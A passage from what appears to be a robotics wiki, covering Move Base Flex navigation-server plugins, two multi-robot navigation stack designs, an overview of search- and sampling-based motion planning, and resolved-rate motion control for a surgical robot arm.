plugins load and initialize correctly and stores multiple planners, controllers, and recovery behaviors. MBF already has the code for plugin managers. However, you must provide it with functions that load and initialize each plugin. - -- Plugin Loaders: This is not strictly a part of MBF, but it is the recommended way of loading the planner, controller, and recovery classes. That is how they have implemented it in their costmap_navigation package (which is just an implementation of MBF that uses costmap2D and is backward compatible with move_base plugins). Plugin loaders are a part of the ROS Pluginlib, which allows you to dynamically load and unload classes derived from a common base class. You can use whatever you like (you can even declare the classes in the navigation server class stack and pass its pointer, too) in place of this method. - -#### How the navigation server constructor runs - -The base class constructor does the following- -- Initializes the planner, controller, and recovery behavior plugin managers. Most importantly, it gives the plugin managers the functions that load and initialize each plugin properly. -- Initializes many TF variables and parameters like global and robot frames. -- Initializes the action server variables. -- Advertises some topics for publishing velocity commands and the current goal. -- Initializes the action server with the variables and also binds functions that are called whenever the action server gets a command. -- You would implement the constructor of the derived class. You can put all the stuff you need to use to run the navigation server (like some extra parameters to load or topics you need to subscribe to). But, at the bare minimum, the constructor has to do two things- - - - call the function initializeServerComponents(). MBF has already implemented this function; you just need to call it in your derived class constructor. This function uses your plugin managers to load the planner, controller, and recovery behavior plugins. - - call the function startActionServers(). MBF has already implemented this function as well; you just need to call it in your derived class constructor. The job of this function is to start all the action servers, which will then begin receiving goal commands. - - call the function initializeServerComponents(). This function calls each plugin manager's load function, which reads the planner names from the ros parameter server, and then calls the load and init function you implemented in your navigation server. - -So, you have to implement these functions for initializeServerComponents to work- - -- loadPlannerPlugin -- initializePlannerPlugin -- loadControllerPlugin -- initializeControllerPlugin -- loadRecoveryPlugin -- initializeRecoveryPlugin - - -An example code has been provided below. Let's try to understand whatever is going on here. - -``` -mbf_abstract_core::AbstractPlanner::Ptr ExperimentalNavigationServer::loadPlannerPlugin(const std::string& planner_type) -{ - mbf_abstract_core::AbstractPlanner::Ptr planner_ptr = NULL; - try - { - planner_ptr = boost::static_pointer_cast( - planner_plugin_loader_.createInstance(planner_type)); - - std::string planner_name = planner_plugin_loader_.getName(planner_type); - ROS_DEBUG_STREAM("mbf_costmap_core-based planner plugin " << planner_name << " loaded."); - } - catch (const pluginlib::PluginlibException &ex_mbf_core) - { - ROS_DEBUG_STREAM("Failed to load the " << planner_type << " planner." << ex_mbf_core.what()); - } - - return planner_ptr; -} - -bool ExperimentalNavigationServer::initializePlannerPlugin(const std::string& name, - const mbf_abstract_core::AbstractPlanner::Ptr& planner_ptr) -{ - std::cout << "Dummy Planner plugin initialized\n\n"; - return true; -} -``` - -As you can see from the return type, the job of this function is to load a planner plugin and return its pointer. The main magic is happening in the statement- `boost::static_pointer_cast( planner_plugin_loader_.createInstance(planner_type));` - -The createInstance function takes in a string planner_type (already loaded from the parameter server and passed onto the loadPlannerPlugin function), loads the requisite plugin, and returns its pointer. The rest of the code is just to give some info if the loading of the plugin fails. In the same way, you have to write the loadControllerPlugin and the loadRecoveryPlugin. As said before, you don't need to use ROS pluginlib to do this. You can statically allocate a planner object and return its pointer as well. But this is the recommended way to maintain the codebase's modularity. - -The initialize plugin functions like initializePlannerPlugin, initializeControllerPlugin, initializeRecoveryPlugin should have the code required to initialize your planner, controller, and recovery plugin properly. You may need to set a few variables/parameters. You may need to initialize a map representation. You can do all of that here. Return true or false depending on whether the initialization passed or failed. - -If you don't need to do that, you can simply return true without doing anything. This is what is done in the example code shown above. - -startActionServers() function -This function starts all the action servers. You don't need to implement anything for it to work, just calling it in the constructor is enough. - -> In short, to make your navigation server class work, at the bare minimum, you need to implement the above functions -and call the initializeServerComponents and startActionServer functions in the constructor. - -There are a lot of virtual functions in the abstract navigation server that you can override with your own implementations if you wish to have more control over and modify the execution of the navigation server. Feel free to explore those functions in the `abstract_navigation_server.h` and `abstract_navigation_server.cpp` files. - -## Summary -In summary, you need to implement the following to get your own MBF navigation stack working: - -- [Planner](#the-planner-class) class (derived from AbstractPlanner in `abstract_planner.h`) - - setPlan - - computeVelocityCommands - - isGoalReached - - cancel -- [Controller](#the-controller-class) class (derived from AbstractController in `abstract_controller.h`) - - runBehavior - - cancel -- [Recovery](#the-recovery-class) class (derived from AbstractRecovery in `abstract_recovery.h`) - - runBehavior - - cancel -- [Navigation Server](#the-navigation-server-class) class (derived from AbstractNavigationServer in `abstract_navigation_server.h`) - - loadPlannerPlugin - - initializePlannerPlugin - - loadControllerPlugin - - initializeControllerPlugin - - loadRecoveryPlugin - - initializeRecoveryPlugin - - Constructor - - -## See Also: -- [Planning Overview](./planning-overview.md) - For an overview of planning algorithms, which you can implement as an MBF plugin. - -## Further Reading -- Check out [Navigation2](https://github.com/ros-planning/navigation2), the Move Base/Move Base Flex port to ROS2. If you are using ROS2, this is what you should be using. This library's [documentation](https://navigation.ros.org/) is also excellent. - -## References -- [1] Magazino. 2017. move_base_flex https://github.com/magazino/move_base_flex (2023) -- [2] S. Pütz, J. S. Simón, and J. Hertzberg, "Move Base Flex: A Highly Flexible Navigation Framework for Mobile Robots", presented at the 2018 IEEE/RSJ Int. Conf. Intelligent Robots and Systems (IROS), Madrid, Spain, Oct. 1-5, 2018 - - -/wiki/planning/multi-robot-planning/ ---- -date: 2022-12-09 -title: Multi Robot Navigation Stack Design -published: true ---- -This article aims to present two competing approaches for multi robot navigation. There is a brief introduction on multi robot navigation followed by description, pros and cons of each of the two competing methods. - -A multi robot navigation stack enables groups of robots to traverse around each other and navigate from their start positions to their goal locations without colliding with one another, crowding or slowing each other down. Usually the inputs to the stack are start and goal positions of each robot and some representation of the environment. Outputs of this stack are usually velocity commands that the robots can execute. - -There are briefly two families of algorithms that are usually employed : -- Centralised -- Decentalised - -The choice for the above usually depends on the communication range and reliability. With good communication, a centalised method is usually more preferable and easier to get to work than a decentralised one. The scope of this article is restricted to the centralised family of algorithms. - -Centralised family of algorithms can be further subdivided into two classes of approaches -- Planning based approach -- Control based approach - -## Navigation Stack Design 1 : [Planning based approach](https://www.youtube.com/watch?v=K1_bagcw8Gc&themeRefresh=1) -In a planning based approach, we design and implement a centralised multi robot planner which calculates collision free trajectories for each robot in the fleet and then these are executed by each robot with a decentralised controller. - -![](/assets/images/planning/central_planner.png) - -### Centralised Planner : [Prioritised Collaborative A*](https://github.com/MRSD-Team-RoboSAR/robosar_navigation) - -As seen in the block diagram, most of the navigation stack runs on a centralised server apart from a low level speed controller running on the robot agents. We have a 3D Graph data structure which underneath uses a costmap to store the structure of the environment and provides a planning representation for our planner. The Planner uses this graph data structure to plan trajectories in x,y and time for each robot and then feeds these trajectories to a multi-threaded controller. The multi-threaded controller uses a classic pure pursuit formulation to generate command velocities to enable accurate tracking of the generated trajectories. The velocities are -then passed to the fleet management system which transmits them to the right agents for actual execution. -At a high level the prioritized multi A* performs these steps in a loop to perform its task : -``` -- Assign priorities to the robot -- for robots 1:n in order of priority - - Get start and goal for this robot - - Run A* graph search algorithm - - Treat previously planned robots as moving obstacles - - If path found, add this path to cache - - If path not found try again later after other robots -``` - - -The planner is built on top of a 3D graph which consists of nodes in x,y and time. The graph handles all the nearest neighbor searches, collision checks, distance queries and other utility functions for the planner. The graph uses a cost map of the environment to do its collision checks. The costmap inflates all the obstacles in the occupancy grid map and also assigns some cost to neutral motion to encourage planner to take the shortest paths. It also uses cached trajectories of other robots while doing the collision checks so that robots have collision free trajectories in time. The planner currently uses a manhattan distance heuristic to estimate the cost to goal. All set and map data structures are optimized using a custom 3D hash function and have an O(1) lookup time. Priorities are currently assigned to the robots arbitrary before planning and then planning is done sequentially. This is something that can be improved! An interesting finding is about relative cost of waiting in time as against moving. We found that if both moving as well as waiting have the same cost, then A* almost always prefer moving than waiting which can lead to suboptimal behavior. So as of now we have lower cost to waiting than moving which gives us better paths leads to increased search times which is undesirable. We found the paths to be very suboptimal in a 4 connected grid so we use an 8 connected grid which gives very good results but obviously also contributes to our increased search times. - -![](/assets/images/planning/prioritised_astar.png) - -### Decentralised controller : [LGController](https://github.com/MRSD-Team-RoboSAR/robosar_controller) - -Our trajectories in time include some pauses/stops along the way for avoiding collisions with other robots, so an off the shelf controller in 2D which ignores the time dimension was not going to work. So we came up with the LGController which borrows ideas from multiple different control schemes to help meet our requirements. Roughly the controller has the following components - -#### Preprocessing -- Reorient robot in the direction of the path upon entry -- Go through the trajectory and push waypoints with a stop to a goal queue -- Run a timer in the background to select waypoints along the trajectory -- Create a 2D cartesian path from the 3D trajectory for pure pursuit - -#### During control -- Compare waypoints with points in the goal queue and decide linear velocity -- Use lookahead distance to find waypoint to track along the cartesian path -- Use pure pursuit to generate angular corrections based on this waypoint - -We wrote a ROS action server to wrap this controller and use it with the rest of the subsystems. So during operation we have a LGController action server running per robot. So we can say that the planning is centralized but the control is completely decentralised. - -![](/assets/images/planning/mission_exec.png) - -Once the planner and the controller were ready, there was a need to integrate them with the rest of the system. For this we wrote the Mission Executive class. Mission Executive does a lot of things during the operation. The first thing it is incharge of is asking the latest fleet information from the fleet management system and then setting up the controller servers for each robot in the fleet. It also listens for any changes in the fleet from the FMS and takes appropriate action based on it. It listens to tasks from the task allocation subsystem and is in charge of executing this mission. It first runs the planner on the tasks received from the task allocation. If planning was successful then the mission executive creates a ROS action client for each successful plan and then sends the planned trajectory to the appropriate controller server for execution. Then the mission executive also monitors the execution of the controller and gets ready for a new mission as soon as the controllers are done executing. - -### Takeaways - -1. The Prioritised Multi A* as we know it does not guarantee completeness. Our naive heuristic also fails in very highly cluttered environments because instead of going around obstacles it can tend to wait around and hope for static obstacles to go away. So planning takes a long time. Some directions that can be considered for improving this : - - Use a Voronoi Graph instead of a densely connected 3D grid for planning - - Replace manhattan distance using a more realistic true distance heuristic function - - Use motion primitives with the planner instead of an 8 connected grid -2. We found that without using the right motion primitives, robots deviate from the planned trajectories and then planning is wasted, so the planner should closely model kinematics of the robot, continous replanning at a fixed frequence could be used to alleiviate this problem -3. The controller that we implemented was a pretty basic proportional controller and it was unable to account for the execution errors -4. This Navigation stack design is appropriate for confined spaces when robots are large but operating area is narrow or robots are moving on a fixed grid, for our application we found this to not work as well as required - - -## Navigation Stack Design 2 : [Control based approach](https://www.youtube.com/watch?v=W_IN25bHFkQ) -In a control based approach, we plan for each robot in the fleet separately and local collision avoidance between the robot is done by a centralised controller. - - -### Decentralised Planner : [2D A* planner](https://github.com/MRSD-Team-RoboSAR/robosar_navigation) -Nothing fancy here, as the name suggests we are just using a 2D Astar planner for each start-goal pair which outputs a collision free path for each robot only with respect to the occupancy grid map of the environment (does not guarantee robot-robot collision avoidance). Most of the magic is happening in the centralised controller discussed next. - -### Centralised Controller : [Lazy Traffic Controller](https://github.com/MRSD-Team-RoboSAR/robosar_navigation) -The Lazy Traffic controller takes in the paths from the decentralised planner and is responsible for local robot-robot collision avoidance by calculating collision free velocities for each robot. It consists mainly of two parts -- Velocity obstacles based velocity calculation -- Inter robot repulsion - -At high level the basic principle is to not do extensive collision checking or planning unless explicitly required due to an immediate impending collision. How we do this is by enforcing a narrow neighborhood around each robot and doing local collision avoidance to avoid collisions in this neighborhood. This gives the controller its ‘laziness’. This local collision avoidance is implemented using the velocity obstacles algorithm. For each agent, all other agents act as obstacles in the velocity space and hence invalidate a set of velocities that this agent can execute. Velocity obstacles tries to select the best velocity as close to the preferred velocity as possible from the set of valid velocities. Preferred velocity is calculated for each agent from the global A* path found by the planner. Staying on this A* path is the preferred thing to do unless otherwise ruled out due to obstacles. - -![](/assets/images/planning/velocity_obstacles.png) - -The lazy traffic controller has many interfaces with a lot of subsystems. The LT controller talks to the fleet management system to receive updates on the status of the fleet. It talks to the SLAM subsystem to receive the latest map of the environment. It also takes the pose for each agent from the transformation tree. It advertises a controller service which is used by the Mission Executive to actually send the list of agents and their planned paths for execution by the controller. Last but not least, it advertises the controller status of each robot, so that the task allocator can assign new tasks once old ones are completed! -Pseudocode for the LT controller can be written as : - - Loop through all the agents 1-n: - - Get path from the decentralised planner - - Get pose from the transformation tree - - Calculate preferred velocity for this robot - - Calculate neighbouring agents for this robot - - If any neighbours inside neighbourhood: - - Calculate safe velocity using velocity obstacles technique - - Else: - - Keep preferred velocity unchanged. - - Modify velocity using interrobot repulsion if another neighbour within repulsion radius - - -![](/assets/images/planning/lt_controller.png) - -### Takeaways -1. This design works really well when robots have unconstrained motion around each other in 2D and robots are small in size compared to the free space around them! -2. The controller frequency had to be tuned based on the execution frequency on the robots. The execution frequency for us is around 10Hz on each robot (this is the frequency at which velocities are set on the motors). In conjunction with this we found 5Hz to be a good frequency to run the controller. So every 20ms the controller is invoked, a neighborhood and the preferred velocity is calculated and then the velocity obstacles velocity is sent to the robots. -3. Another thing we realised was that our differential drive robots were not instantaneously achieving the velocities we were sending them, hence the velocity obstacles were using the wrong velocities in its calculations. So we decided to use **feedback velocity** from the robots with the LT controller. In short we used the odometry feedback from the robots to calculate the feedback velocity for each robot in each time interval so that velocity obstacles works more effectively. -4. The high level implementation of velocity obstacles inside the Lazy Traffic controller is in a centralised way in a sense that the server knows exactly the positions of all robots and their velocities so there is no estimation/prediction involved anywhere. But the velocity calculation is in a pretty decentralised way (because as stated in the section above, we are using feedback velocities from the robots instead of commanded velocities). This decentralised velocity calculation led to oscillations on the robots while avoiding collisions because robots were reacting to each other. We modified the cost function to solve this by adding a term to penalize large change in velocities with respect to the current feedback velocity. So the new cost function we are left with looks like this : - -`float penalty = RVO_SAFETY_FACTOR/min_t_to_collision + dist_to_pref_vel + dist_to_cur_vel` - -These three terms ensure collisions are avoided, a velocity as close to the preferred velocity is chosen every time and large changes in currently chosen velocity direction are also minimized. - - - - -## Summary -1. We compared two competing approaches for centralised multi robot navigation and found the control based approach to work better -2. We discussed design of each and pros and cons of both the approaches -3. We hope this discussion provides a good foundation for the design of multi robot navigation stacks of MRSD in the future! - - - -/wiki/planning/planning-overview/ ---- -date: 2020-04-10 -title: Overview of Motion Planning ---- -The problem of motion planning can be stated as follows: to find an optimal path for the robot to move through gradually from start to goal while avoiding any obstacles in between, given - -a start pose of the robot -a desired goal pose -a geometric description of the robot -a geometric description of the world - -![Figure 1. Role of motion planning in a robotic system [1]](/assets/images/planning/planning_intro.png) - - -This Wiki details the different types of motion planning algorithms that are available and the key differences between them. Knowing this will make choosing between them easier, depending on the types of projects these algorithms are implemented in. - - -### Search-Based Planning Algorithms: -This section is focused on search-based planning algorithms, and more specifically it is a very brief overview of two of the most popular search algorithms for robotic systems: A* and D* Lite. At the end of their respective sections, we have provided references to external resources where each algorithm and sufficient information to successfully implement each is provided. One critical thing to keep in mind is that A* searches from the start to the goal and D* Lite searches from the goal to the start. Memoization can save a significant amount of computation so consider which direction of search will allow keeping a longer portion of the path between search iterations for your application. - -#### A*: -The A* algorithm is similar to Djikstra’s algorithm except that A* is incentivized to search towards the goal, thereby focusing the search. Specifically, the difference is an added heuristic that takes into account the cost of the node of interest to the goal node in addition to the cost to get to that node from the start node. Since A* prioritizes searching those nodes that are closer to the end goal, this typically results in faster computation time in comparison to Djikstra’s. - -Graph search algorithms like Djikstra’s and A* utilize a priority queue to determine which node in the graph to expand from. Graph search models use a function to assign a value to each node, and this value is used to determine which node to next expand from. The function is of the form: -$$f(s) = g(s) + h(s)$$ - -With g(s) being the cost of the path to the current node, and h(s) some heuristic which changes depending on which algorithm is being implemented. A typically used heuristic is euclidean distance from the current node to the goal node. - -In Djikstra’s, the node with the lowest cost path from the start node is placed at the top of the queue. This is equivalent to not having any added heuristic h(s). In A\*, the node with the lowest combined path cost to a node and path cost from the node to the goal node is placed at the top of the queue. In this case, the added heuristic h(s) is the path cost from the current node to the goal node. This heuristic penalizes nodes that are further from the goal even if during runtime of the algorithm these nodes have a relatively lower cost to reach from the start node. This is how A\* is faster in computation time compared to Djikstra’s. - -Depending on the heuristic used for calculating cost from a node to the end goal, computation time can vary. It is also important to use a heuristic that does not overestimate the cost to the end goal, otherwise the algorithm may never expand certain nodes that would otherwise have been expanded. Additionally, the heuristic must be monotonic, since a non-monotonic heuristic can leave the planner stuck at a local extrema. A\* can be used in many situations, but one drawback is that it has relatively large space complexity. More information about A* can be found in [2] and [3]. - -#### D* Lite: -While A* is one of the original, most pure, and most referenced search algorithms used for planning, it is not the most computationally efficient. This has led to many variations of or algorithms inspired by A* over the years, with two of the most popular being D* and D* lite. This section will focus on D* lite, but the main difference between A* and D* is that while their behavior is similar, D* has a cost structure that can change as the algorithm runs. While D* and D* Lite are both formed around the premise, the actual algorithm implementations are not very similar, and as such, this should not be looked at as a simplified version of D*. - -D* Lite’s main perk is that the algorithm is much more simple than A* or D*, and as such it can be implemented with fewer lines of code, and remember that simplicity is your friend when trying to construct a functioning robotic system. The algorithm functions by starting with its initial node placed at the goal state, and runs the search algorithm in reverse to get back to the starting position or an initial state node. Nodes are processed in order of increasing objective function value, where two estimates are maintained per node: -- **g**: the objective function value -- **rhs**: one-step lookahead of the objective function value - -With these two estimates, we have consistency defined, where a node is **consistent** if g = rhs, and a node is inconsistent otherwise. Inconsistent nodes are then processed with higher priority, to be made consistent, based on a queue, which allows the algorithm to focus the search and order the cost updates more efficiently. The priority of a node on this list is based on: - -$$\min(g(s), rhs(s)) + \text{heuristic}$$ - -Other Terminology: -- A **successor node** is defined as one that has a directed edge from another node to the node -- A **predecessor node** is defined as one that has a directed edge to another node from the node - -References that may be useful (including those that include pseudo-code) for exploring the D* Lite algorithms further can be seen in [4], [5], and [6]. - -### Sampling-Based Planners -Sampling-Based algorithms sample possible states in continuous space and try to connect them to find a path from the start to the goal state. These algorithms are suitable in solving high-dimensional problems because the size of the graph they construct is not explicitly exponential in the number of dimensions. Although more rapid and less expensive than Search-Based algorithms, there is difficulty in finding optimal paths and results lack repeatability. Sampling based methods can be divided into two categories – multi-query, where multiple start and goal configurations can be connected without reconstructing the graph structure, and single-query, where the tree is built from scratch for every set of start and goal configurations. A summary of the two categories is shown in Table 1. - -![Table 1. Multi-query vs. Single-query [3]](/assets/images/planning/multi_vs_single_query.png) - -Probabilistic Road Map (PRM) is the most popular multi-query algorithm. In the learning phase, free configurations are randomly sampled to become the nodes of a graph. Connections are made between the nodes to form the edges, representing feasible paths of the roadmap. Additional nodes are then created to expand the roadmap and improve its connectivity. In the query phase, the planner tries to find a path that connects start and goal configurations using the graph created in the learning phase. - -For single-query methods, Rapidly-exploring Random Trees (RRT) is the most prevalent algorithm. Unlike PRM, RRT can be applied to nonholonomic and kinodynamic planning. Starting from an initial configuration, RRT constructs a tree using random sampling. The tree expands until a predefined time period expires or a fixed number of iterations are executed. More information about the RRT algorithm and its variants RRT* and RRT*-Smart can be found in [7]. - -### Planning for Non-holonomic Systems: - -#### Constraint equations for nonholonomic planning of mobile robots [8] -Nonholonomic systems are characterized by constraint equations involving the time derivatives of the system configuration variables. These equations are non-integrable; they typically arise when the system has less controls than configuration variables. For instance a car-like robot has two controls (linear and angular velocities) while it moves in a 3-dimensional configuration space. As a consequence, any path in the configuration space does not necessarily correspond to a feasible path for the system. Let us consider two systems: a two-driving wheel mobile robot and a car-like robot. - -**Two-driving wheel robots**: The general dynamic model is given as: -![](/assets/images/planning/2dwr1.png) - -The reference point of the robot is the midpoint of the two wheels; its coordinates, with respect to a fixed frame, are denoted by $(x, y)$ and $\theta$ is the direction of the driving wheels while $\ell$ is the distance between the driving wheels. By setting $v=\frac{1}{2}(v_1+v_2)$ and $\omega=\frac{1}{\ell}(v_1-v_2)$, we get the kinematic model expressed as the following 3-dimensional system: - -![](/assets/images/planning/clr2.png) - -**Car-like robots**: The reference point with coordinates $(x,y)$ is the midpoint of the rear wheels. We assume that the distance between both rear and front axles is unit length. We denote $w$ as the speed of the front wheels of the car and $\zeta$ as the angle between the front wheels and the main direction $\theta$ of the car. Moreover, a mechanical constraint imposes $|\zeta| \le \zeta_{\max}$ and consequently a minimum turning radius. The general dynamic model is given as: - -![](/assets/images/planning/clr1.png) - -A first simplification consists in controlling $w$; it gives a 4-dimensional system. Let us assume that we do not care about the direction of the front wheels. We may still simplify the model. By setting $v=w\cos\zeta$ and $\omega=w\sin\zeta$, we get a 3-dimensional system. - -![](/assets/images/planning/clr2.png) - -### Sampling- vs Search-based Methods: -With constraints come some restrictions on the kinds of planners that will be effective. Grid-based graphs, for example, do not allow fluid motions to be planned but may work fine if a motion consisting of turn-in-place and drive straight maneuvers are acceptable. There are planners that incorporate simple fluid motions such as lattice planners, and Dubins and Reeds-Shepp state-space planners. The former of these can offer cheap planning for non-holonomic systems, so long as the number of extensions is kept low. The latter two present the space of options as arc and straight motions. These are typically for vehicles that use Ackerman steering. One alternative to all those above is a shooting RRT based on motion primitives. Where all of the others tend to work better at slower speeds, shooting RRTs can also work well at high speeds so long as the shooting is done using the vehicle dynamics. It may be possible to combine search-based with sampling-based planners in order to get optimality and feasibility benefits from both, respectively. - -### Detail Recommendations: Shooting RRT for High-speed Ackermann Vehicles -**1. Consider distance metrics carefully:** - -Distance metrics are powerful tools to tune the planner by improving which node the planner chooses to expand. For example, it is better to choose a node that represents a state pointed in the direction of the sample but is slightly further by L2 distance than one pointed in the wrong direction. In this way, consider using a distance metric that makes L2 distance to the side of the vehicle more expensive. L2 distance behind the direction of motion could also be made expensive. Make sure to have a visualization of the distance metric for easier tuning. - -**2. Balance motion primitives:** - -Shots are typically taken over a certain period of time. What this means is that faster-accelerating shots that are pointed in the wrong direction can still make more progress than ones with more optimal directions. - -**3. Project speed limits from targets:** - -It can be time-consuming to convince a planner to slow down for a target depending on the implementation. If using backtracking as a method for slowing down, i.e. pruning back to a slower node, then this can take an exponential cost in number of iterations by the number of levels to backtrack. Instead, it is much faster to set local speed limits based on the distance to the target and the vehicle’s maximum deceleration. - -**4. Always slow down at the end of the path:** - -This is simply a safety concept and should help keep a run-away vehicle from happening. - -**5. One-pass planning:** - -Consider if the calculations used for shooting can be used for generating the final trajectory. This will save time in the form of not having to pass over the final path again. This is only really feasible if high frame rate trajectories are not strictly necessary. - -## References -[1] M. Likhachev. RI 16-782. Class Lecture, Topic:”Introduction; What is planning, Role of Planning in Robotics.” School of Computer Science, Carnegie Mellon University, Pittsburgh, PA, Aug. 26, 2019. https://www.cs.cmu.edu/~maxim/classes/robotplanning_grad/lectures/intro_16782_fall19.pdf - -[2] M. Likhachev. RI 16-735. Class Lecture, Topic:”A* and Weighted A* Search.” School of Computer Science, Carnegie Mellon University, Pittsburgh, PA, Fall, 2010. https://www.cs.cmu.edu/~motionplanning/lecture/Asearch_v8.pdf - -[3] C. A. Villegas, “Implementation, comparison, and advances in global planners using Ackerman motion primitives,” M. S. Thesis, Politencnico di Milano, Milan, IT, 2018. https://www.politesi.polimi.it/bitstream/10589/140048/3/2018_04_Arauz-Villegas.pdf - -[4] S. Koenig and M. Lihachev, “D* Lite,” In Proc. of the AAAI Conference of Artificial Intelligence (AAAI), 2002, pp. 476-483. http://idm-lab.org/bib/abstracts/papers/aaai02b.pdf - -[5] H. Choset.. RI 16-735. Class Lecture, Topic:”Robot Motion Planning: A* and D* Search.” School of Computer Science, Carnegie Mellon University, Pittsburgh, PA, Fall, 2010. https://www.cs.cmu.edu/~motionplanning/lecture/AppH-astar-dstar_howie.pdf - -[6] J. Leavitt, B. Ayton, J. Noss, E. Harbitz, J. Barnwell, and S. Pinto. 16.412. Class Lecture, Topics: “Incremental Path Planning.” https://www.youtube.com/watch?v=_4u9W1xOuts - -[7] I. Noreen, A. Khan, and Z. Habib, “A Comparison of RRT, RRT* and RRT*-Smart Path Planning Algorithms,” IJCSNS, vol. 16, no. 10, Oct., pp. 20-27, 2016. http://paper.ijcsns.org/07_book/201610/20161004.pdf - -[8] J.P. Laumond, S. Sekhavat, and F. Lamiraux, “Guidelines in Nonholonomic Motion Planning for Mobile Robots,” in Robot Motion Planning and Control, J.P. Laumond, Eds. Berlin, Heidelberg: Springer Berlin Heidelberg, 1998, pp- 4-5. - - -/wiki/planning/resolved-rates/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2020-12-02 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Resolved-rate Motion Control -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- -For several real-world applications, it may be necessary for the robot end-effector to move in a straight line in Cartesian space. However, when one or more joints of a robot arm are moved, the end-effector traces an arc and not a straight line. Resolved-rate[1] is a Jacobian-based control scheme for moving the end-effector of a serial-link manipulator at a specified Cartesian velocity $v$ without having to compute the inverse kinematics at each time step. Instead, the inverse of the Jacobian matrix alone is recomputed at each time step to account for the updated joint angles. The displacement of each joint is given by the product of the current joint velocity and the time step, which is then added to the current joint configuration to update the pose of the robot. The advantage of this incremental approach of updating joint angles is that the robot moves smoothly between waypoints as opposed to exhibiting jerky movements that arise from frequent recomputations of the inverse kinematics. This article presents the mathematical formulation of the resolved-rate motion control scheme and explains its usage in a motion compensation algorithm. - -## Derivation -The forward kinematics of a serial-link manipulator provides -a non-linear surjective mapping between the joint space -and Cartesian task space[2]. For an $n$-degree of freedom (DoF) manipulator with $n$ joints, let $\boldsymbol{q}(t) \in \mathbb{R}^{n}$ be the joint coordinates of the robot and $r \in \mathbb{R}^{m}$ be the parameterization of the end-effector pose. The relationship between the robot's joint space and task space is given by: -$$\begin{equation} - \boldsymbol{r}(t)=f(\boldsymbol{q}(t)) -\end{equation}$$ -In most real-world applications, the robot has a task space $\mathcal{T} \in \operatorname{SE}(3)$ and therefore $m = 6$. The Jacobian matrix provides the relation between joint velocities $\dot{q}$ and end-effector velocity $\dot{v}$ of a robotic manipulator. A redundant -manipulator has a joint space dimension that exceeds the workspace dimension, i.e. $n > 6$. Taking the derivative of (1) with respect to time: -$$\begin{equation} - \nu(t)=J(q(t)) \dot{q}(t) -\end{equation}$$ -where $J(q(t))=\left.\frac{\partial f(q)}{\partial q}\right|_{q=q_{0}} \in \mathbb{R}^{6 \times n}$ is the manipulator -Jacobian for the robot at configuration $q_0$. Resolved-rate -motion control is an algorithm which maps a Cartesian end-effector -velocity $\dot{v}$ to the robot’s joint velocity $\dot{q}$. By rearranging (2), the required joint velocities are: -$$\begin{equation} - \dot{\boldsymbol{q}}=\boldsymbol{J}(\boldsymbol{q})^{-1} \nu -\end{equation}$$ -It must be noted that (3) can be directly solved only is $J(q)$ is square and non-singular, which is when the robot has 6 DoF. Since most modern robots are several redundant DoFs, it is more common to use the -Moore-Penrose pseudoinverse: -$$\begin{equation} - \dot{\boldsymbol{q}}=\boldsymbol{J}(\boldsymbol{q})^{+}v -\end{equation}$$ -where the $(\cdot)^{+}$ denotes the pseudoinverse operation. - - -## Algorithm -Since control algorithms are generally run on digital computers, they are often modeled as discrete-time algorithms, i.e., they compute necessary values at discrete time intervals. Consider a time horizon with discrete time steps such that the interval between two consecutive steps is $\Delta_{t}$. The following sequence of steps are repeated for as long as the robot's end-effector is required to move at the specified Cartesian velocity $v$: -1. At each time step $k$, compute the kinematic Jacobian matrix $\mathbf{J}\left(\boldsymbol{q}_{k}\right)$ using the current values of the joint angles $\mathbf{q_k}$. -2. Calculate the joint velocity vector $\mathbf{\dot{q}}$ that must be achieved in the current time step using the equation $\dot{\boldsymbol{q}}=\mathbf{J}\left(\boldsymbol{q}_{k}\right)^{-1} \boldsymbol{v}$. -3. The joint angle displacement is then calculated as $\mathbf{q_{dist}} = \Delta_{t}\mathbf{\dot{q}}$. This quantity signifies how much we want to move each of the joints in the given time step based on the value of joint velocity. -4. The next joint configuration is calculated by $\mathbf{q_{k+1}}=\mathbf{q_{k}}+\mathbf{\Delta_{t} \dot{q}}$ -5. The robot hardware is commanded to move the next joint configuration $\mathbf{q_{k+1}}$. - -The steps above are repeated for as long as necessary. It is seen that we do not have to compute the inverse kinematics of the robot at each time step; rather, the inverse of the Jacobian matrix alone is sufficient to have the end-effector continue to move at a Cartesian velocity $v$. - - -## Resolved-rates for motion compensation -The following is an example for how the resolved-rates motion compensation can be used. Specifically, this relates to Team A's Chopsticks Surgical system but is extendable to other systems. Since the Chopsticks Surgical system needs to 3D-scan and palpate a moving liver, the robot arm must incorporate a motion compensation scheme to ensure zero relative motion between the robot and the liver at all times. In order to compensate for the liver's motion, it is first necessary to predict where the liver or some region of interest on the liver will be at any given point in time. The robot arm will then move to this predicted location at the same time the liver does, thereby canceling out the effects of the liver's motion. The liver is represented as a point cloud $\mathbf{P}$ where each point $p_i$ has an associated normal vector. For both 3D-scanning and palpation, the robot arm must go to each point to maximize coverage of the liver's surface. The frequency and amplitude of motion of the liver are estimated within a very small margin of error to the ground truth. The resolved-rate motion controller is incorporated in the motion compensation by iterating over each point of the liver point cloud as follows: -1. Let the current position of the robot's end-effector be $p_i$. The target location for the robot arm is the predicted position of the next point $p_{i+1}$ to visit on the liver's surface. We have a function that outputs the predicted position of the target point in the present time step. -2. However it is generally not possible to get to the desired location in the same time step as the prediction because the robot may need more than one time step to get there and the liver (and hence the current point of interest on the liver) will have moved by then. -3. Therefore, we ``close in" on the target point with each passing time step, i.e., in each time step, we predict where the target point is, and take a step in that direction. -4. This is repeated for a couple of time steps until the robot arm eventually ``catches up" with the current point. When the robot arm gets to the desired location within a very narrow margin of error, we consider that point on the liver's surface to have been visited and move on to the next point. -5. Steps 1 - 4 are repeated for every point on the liver's surface. Since the liver point cloud representation is quite dense, the robot arm can move between points very quickly. - -The biggest advantage of the resolved-rate motion controller is that it makes the robot arm move smoothly between waypoints and not exhibit jerky movements that arise from having to compute inverse kinematics at every time step. We simply need to update joint displacements that will eventually converge to the desired point. In the particular case of our surgical project, since it has the robot arm take unit steps along the vector between the current and desired positions at every time step, it ensures zero relative motion between the robot arm and the liver. - - -## Summary -Resolved-rate motion control allows for direct control of the robot’s end-effector velocity, without expensive path planning. In surgical robots, it is often necessary for the robot arm to move in a straight line at a constant velocity as it lacerates tissue. This controller would be well-suited to the task. In fact, this controller is so versatile that it is known to have been used in space robotics and in general 